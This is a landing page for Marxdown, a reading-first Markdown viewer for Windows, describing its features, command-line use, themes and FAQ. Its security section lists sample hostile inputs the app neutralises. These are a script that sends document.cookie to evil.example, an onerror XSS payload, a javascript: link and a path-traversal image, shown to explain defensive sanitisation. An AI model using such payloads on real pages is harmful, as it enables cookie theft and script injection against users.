Don’t open VS Codejust to read a Markdown file.

A fast, reading-first Markdown viewer for Windows. Open it with marxdown README.md, read comfortably, and edit when you need to.

Download for Windows View on GitHub

v0.4.0 · Windows 10 / 11 (x64) · Free and open source

architecture.md research.md

Architecture: Offline-first Sync

Tip

Decision: adopt CRDT replicas. Edits made offline are never lost.

Overview

flowchart LR A[Editor] --> B[(Local replica)] B -- push --> C{{Sync relay}} C -- pull --> B C --> D[(Postgres)]

Options compared

Approach	Offline edits	Merge quality	Effort
Last write wins	Partial	Loses concurrent edits	1 week
Server-side OT	No	Needs a live connection	6 weeks
CRDT replicas	Yes	Automatic for text and lists	4 weeks

Data model

export function apply(state: DocState, change: Change): DocState {
  if (state.seen.has(change.id)) return state; // idempotent
  return change.ops.reduce(applyOp, state);
}

Rollout

Ship local replicas behind a flag
Enable push and pull for one team
Measure sync time and conflict rate for two weeks

Research: Local-first Architecture

Note

Summary prepared by an AI assistant from 12 sources.

Key findings

Writing locally first makes every action finish instantly, whatever the network does
Conflict resolution is best chosen per data type
A sync server that only relays changes limits the impact of outages

Comparison

Approach	Latency	Offline	Difficulty
Server-centric	120ms	No	Low
With a cache	40ms	Read only	Medium
Local-first	5ms	Yes	High

Recommendation

Start with notes and to-dos only, measure the effect, then widen the scope.

Preview UTF-8 LF 726 chars ~1 min 100%

Sound familiar?

Design docs written by an AI. A repository’s README. Meeting notes.You want to “just read” a Markdown file dozens of times a day.And every time, you wait for an IDE to start.

Marxdown is an app for opening, reading, and making a small fix when you need to.

Marxdown and VS Code

VS Code is great. Marxdown is different.

VS Code is a powerful development environment. Marxdown is for the moments when you don’t need one. The idea is to use both: VS Code for writing code, Marxdown for reading what is written about it.

VS Code

A development environment for code

Starts by loading a workspace and extensions
Opens Markdown as source, with the preview opened separately
Has every tool for writing, running, and fixing code

Marxdown

A place to read Markdown

Opens a single file as it is
Opens in a view made for reading
Switches to the same Monaco editor when you want to fix something

How you’ll use it

Read it. Fix it if you need to.

01Read

An AI just sent you a long design doc

Open it in Marxdown and it is ready to read. Typography with balanced margins, line height, and text width keeps long documents easy on the eyes, and tables, code, math, and diagrams are shown as they are.
- Tables
- Syntax highlighting
- Math (KaTeX)
- Diagrams (Mermaid)
- GitHub alerts
- Task lists
- Footnotes
02Write

You notice something that needs fixing

One key switches to Split, and you fix it right there. The editor is Monaco, the same editor as VS Code, and what you type shows up in the preview next to it.
- Ctrl\Split
03Format

A table’s columns don’t line up

Shift+Alt+F lines up a messy table. Bold, links, headings, and lists can be toggled with shortcuts, too.
- CtrlBBold
- ShiftAltFAlign table columns
04Find

You want to look through a whole folder

marxdown docs/ opens the folder with a file list. Find files by part of their name with Ctrl+P, and run every action from the Command Palette with Ctrl+Shift+P.
- CtrlPGo to File
- CtrlShiftPCommand Palette

cache-strategy.md

1# Caching API responses

3To lower the p95 of the search API, we compared ways to cache responses.

5> [!TIP]

6> Decision: adopt Stale-While-Revalidate.

8## Comparison

11| --- | ---: | :---: | --- |

12| No cache | 240ms | Low | Always fresh |

13| TTL | 22ms | Low | Up to 5 min old |

16## Implementation

18```ts

19export async function cached<T>(key: string, load: () => Promise<T>): Promise<T> {

20 const hit = cache.get(key);

21 if (hit && Date.now() - hit.at < STALE_MS) {

22 // If it is getting stale, answer now and refresh in the background

23 if (Date.now() - hit.at > FRESH_MS) void refresh(key, load);

24 return hit.value as T;

25 }

26 return refresh(key, load);

27}

28```

30With a hit rate of $h$ and a miss latency of $t_m$, the mean latency is about $\bar{t} = h \cdot t_c + (1 - h) \cdot t_m$.

32## Flow

34```mermaid

35flowchart LR

36 A[Request] --> B{Cache}

37 B -- fresh --> C[Return as is]

38 B -- stale --> D[Return, then refresh]

39 B -- miss --> E[Fetch and store]

40```

42## Next steps

44- [x] Compare strategies

45- [ ] Add expiry metrics[^1]

46- [ ] Load testing

48[^1]: Put them on the dashboard next to the hit rate.

Caching API responses

To lower the p95 of the search API, we compared ways to cache responses.

Tip

Decision: adopt Stale-While-Revalidate.

Comparison

Strategy	p95	Cost	Consistency
No cache	240ms	Low	Always fresh
TTL	22ms	Low	Up to 5 min old
Stale-While-Revalidate	18ms	Medium	Refreshed in background

Implementation

export async function cached<T>(key: string, load: () => Promise<T>): Promise<T> {
  const hit = cache.get(key);
  if (hit && Date.now() - hit.at < STALE_MS) {
    // If it is getting stale, answer now and refresh in the background
    if (Date.now() - hit.at > FRESH_MS) void refresh(key, load);
    return hit.value as T;
  }
  return refresh(key, load);
}

With a hit rate of $h$ and a miss latency of $t_m$ , the mean latency is about $\bar{t} = h \cdot t_c + (1 - h) \cdot t_m$ .

Flow

flowchart LR A[Request] --> B{Cache} B -- fresh --> C[Return as is] B -- stale --> D[Return, then refresh] B -- miss --> E[Fetch and store]

Next steps

Compare strategies
Add expiry metrics^[1]
Load testing

Put them on the dashboard next to the hit rate. ↩︎

Preview UTF-8 LF 954 chars ~1 min 100%

Opens quickly

No waiting, every time you open.

Open a Markdown file without waiting for a full IDE to initialize. After the first launch Marxdown waits in the system tray, and later marxdown calls open as tabs in the existing window. The prompt in your terminal comes back right away, too.

First launch (target): 600ms
After that (target): 120ms
CPU usage while waiting: ≈0%

Startup times are design targets, checked as the median of each startup phase on a release build. Actual times depend on your PC.

Markdown in the age of AI

A place to read the Markdown AI writes for you.

Ask an AI for a design, research, meeting notes, or a review, and you increasingly get Markdown back. You spend more time reading Markdown than writing it. Marxdown gives those documents a dedicated place to be read.

Architecture documents
Research notes
Meeting summaries
Implementation plans
Code reviews
Project documentation

Read the output as it is

Pipe a command’s output into Marxdown and read it as a document, with tables and code rendered.
>llm "Draft a design" | marxdown -
Watch the folder your agent writes into

When an agent rewrites a file, the open document reloads automatically.
>marxdown docs/
Safe for documents you didn’t write

Scripts in a document never run, and files outside the folder are not loaded unless you allow it.

Readability

Typography matters when you read for an hour.

Markdown is often read for minutes or hours, not seconds. So you can adjust the text and code fonts, font size, line height, text width, and table borders. Changes show up in the preview right away.

readability.md

Readability you can adjust

What matters most for long documents is line length and line height. Lines that are too long make it hard to find the start of the next one, and lines packed too tightly are easy to mix up.

The default text width is 72ch, about 78 Latin characters per line.

Setting	Default	Range
Font size	16px	8–72
Line height	1.75	1–3
Text width	72ch	20–200

Preview UTF-8 LF 335 chars ~1 min 100%

{
  "preview.fontSize": 16,
  "preview.lineHeight": 1.75,
  "preview.maxWidth": 72,
  "preview.tableStyle": "lines"
}

Make it yours

Find the one among 50 color themes.

On top of light and dark, there are 50 built-in color themes, chosen separately for the preview and the editor. Add your own by just dropping in a CSS file.

cache-strategy.md

1# Caching API responses

3To lower the p95 of the search API, we compared ways to cache responses.

5> [!TIP]

6> Decision: adopt Stale-While-Revalidate.

8## Comparison

11| --- | ---: | :---: | --- |

12| No cache | 240ms | Low | Always fresh |

13| TTL | 22ms | Low | Up to 5 min old |

16## Implementation

18```ts

19export async function cached<T>(key: string, load: () => Promise<T>): Promise<T> {

20 const hit = cache.get(key);

21 if (hit && Date.now() - hit.at < STALE_MS) {

22 // If it is getting stale, answer now and refresh in the background

23 if (Date.now() - hit.at > FRESH_MS) void refresh(key, load);

24 return hit.value as T;

25 }

26 return refresh(key, load);

27}

28```

30With a hit rate of $h$ and a miss latency of $t_m$, the mean latency is about $\bar{t} = h \cdot t_c + (1 - h) \cdot t_m$.

32## Flow

34```mermaid

35flowchart LR

36 A[Request] --> B{Cache}

37 B -- fresh --> C[Return as is]

38 B -- stale --> D[Return, then refresh]

39 B -- miss --> E[Fetch and store]

40```

42## Next steps

44- [x] Compare strategies

45- [ ] Add expiry metrics[^1]

46- [ ] Load testing

48[^1]: Put them on the dashboard next to the hit rate.

Caching API responses

To lower the p95 of the search API, we compared ways to cache responses.

Tip

Decision: adopt Stale-While-Revalidate.

Comparison

Strategy	p95	Cost	Consistency
No cache	240ms	Low	Always fresh
TTL	22ms	Low	Up to 5 min old
Stale-While-Revalidate	18ms	Medium	Refreshed in background

Implementation

export async function cached<T>(key: string, load: () => Promise<T>): Promise<T> {
  const hit = cache.get(key);
  if (hit && Date.now() - hit.at < STALE_MS) {
    // If it is getting stale, answer now and refresh in the background
    if (Date.now() - hit.at > FRESH_MS) void refresh(key, load);
    return hit.value as T;
  }
  return refresh(key, load);
}

With a hit rate of $h$ and a miss latency of $t_m$ , the mean latency is about $\bar{t} = h \cdot t_c + (1 - h) \cdot t_m$ .

Flow

flowchart LR A[Request] --> B{Cache} B -- fresh --> C[Return as is] B -- stale --> D[Return, then refresh] B -- miss --> E[Fetch and store]

Next steps

Compare strategies
Add expiry metrics^[1]
Load testing

Put them on the dashboard next to the hit rate. ↩︎

Split UTF-8 LF 954 chars ~1 min 100%

Just drop a CSS file into the themes folder

/* themes/my-theme.css */
--mx-color-bg: light-dark(#fdfcf8, #16161a);
--mx-color-fg: light-dark(#23211c, #e8e6e3);
--mx-color-accent: #d9480f;

From the terminal

marxdown README.md

No workspace. No project setup. Just read.

Type it in the terminal you already have open and start reading. Whether you run it from cmd.exe, PowerShell, or Git Bash, the prompt comes back right away.

Windows PowerShell

# Open a file marxdown README.md
# Open several files at once marxdown README.md CHANGELOG.md
# Open a folder marxdown docs/
# Open in a specific view mode marxdown -m split notes.md
# Open standard input as an untitled document llm "Draft a design" | marxdown -

Save with confidence

Not a single byte you didn’t edit will change.

Lines you didn’t touch stay exactly as they were. Line endings, the BOM, and the final newline are kept as they were when opened. When another app changes the file, it reloads automatically.

Still UTF-8 with BOM
Still CRLF
Final newline kept

notes.md UTF-8 BOM CRLF CtrlS

BOM # Notes CRLF
CRLF
The cache expires after 5 minutes. CRLF

Bytes changed: 0 bytes
Whole file: 50 bytes

Files you didn’t write

Open Markdown you didn’t write, without worry.

Marxdown is built on the assumption that you open Markdown you didn’t write, like files generated by an LLM. Several layers of defense keep a document from reaching into the app or your computer.

untrusted.md

<script>fetch("https://evil.example/?" + document.cookie)</script> CSP Embedded scripts never run
<img src="x" onerror="alert(1)"> Sanitizer Event attributes like onerror are removed
[Read more](javascript:alert(1)) Link allowlist Links of unknown kinds do nothing
![](../../Pictures/private.png) Read scope check Nothing outside the folder is loaded unless you allow it

Shown safely

And more

The small things that help, too.

Outline

Jump to the part you want from the list of headings.
CtrlShiftU
Find in preview

Search the document you are viewing.
CtrlF
Marp slides

Documents with marp: true are shown as slides.
Export to HTML / PDF

Turn the document you are viewing into HTML or PDF.
Automatic reload

When another app changes the file, it reloads automatically.
File operations

Create, rename, copy, and move files to the Recycle Bin from the file list.
Open from stdin

Open the output of a command as an untitled document.
English and Japanese

The app is available in English and Japanese. By default it follows the display language of Windows.
Automatic updates

When a new version is out, the app lets you know and updates with a single button.
From File Explorer

Double-click a .md file, or open a folder from its right-click menu.

Get started

Download. Install. Open a .md file.

Download

Download Marxdown_<version>_x64-setup.exe from Releases.
Install

Just run it. No administrator rights needed. Choose “Yes” at the last prompt to enable the marxdown command.
Open a .md file

Double-click any .md file, or type marxdown README.md in your terminal.

Windows may show a SmartScreen warning because the installer is currently unsigned. Choose “More info” and then “Run anyway” to continue.

Requirements: Windows 10 / 11 (x64). The WebView2 Runtime is required (it comes with Windows 11).

Detailed installation steps

FAQ

Questions you might have.

Is Marxdown an editor?

Yes, but it is designed around reading Markdown first. It opens in a reading view, and one key switches to Split or Edit, where you edit with Monaco, the same editor VS Code uses.

Why not just use VS Code?

VS Code is a great development environment, and it has a Markdown preview. Marxdown is for quickly opening and reading Markdown when you don’t need a workspace and extensions. It is designed to be used alongside VS Code.

Does it work offline?

Yes. All rendering, including Mermaid diagrams and math, happens on your PC. Marxdown connects to the internet only to check for updates and to load https:// images that a document contains.

Is my Markdown uploaded anywhere?

No. There is no account and no telemetry. The update check asks GitHub Releases for the latest version and contains nothing about your files. You can turn it off in Settings.

Is Marxdown free?

Yes. It is open source under the MIT license, and free for work, too.

What platforms are supported?

Windows 10 and 11 (x64). There are no macOS or Linux versions at the moment.

Why does SmartScreen warn me when I install it?

Because the installer is currently not code-signed. Choose “More info” and then “Run anyway” to continue. The installer is built by GitHub Actions from the public source code.

Open one .md file and see.

Free and open source. Try it on Windows 10 / 11 right now.

Download for Windows View on GitHub

v0.4.0 · Windows 10 / 11 (x64) · Free and open source

cache	p95	hit
none	240ms	0%
ttl	22ms	91%
swr	18ms	94%

Don’t open VS Codejust to read a Markdown file.

VS Code

Marxdown

An AI just sent you a long design doc

You notice something that needs fixing

A table’s columns don’t line up

You want to look through a whole folder

No waiting, every time you open.

A place to read the Markdown AI writes for you.

Read the output as it is

Watch the folder your agent writes into

Safe for documents you didn’t write

Typography matters when you read for an hour.

No workspace. No project setup. Just read.

Not a single byte you didn’t edit will change.

Outline

Find in preview

Marp slides

Export to HTML / PDF

Automatic reload

File operations

Open from stdin

English and Japanese

Automatic updates

From File Explorer

Download

Install

Open a .md file

Open one .md file and see.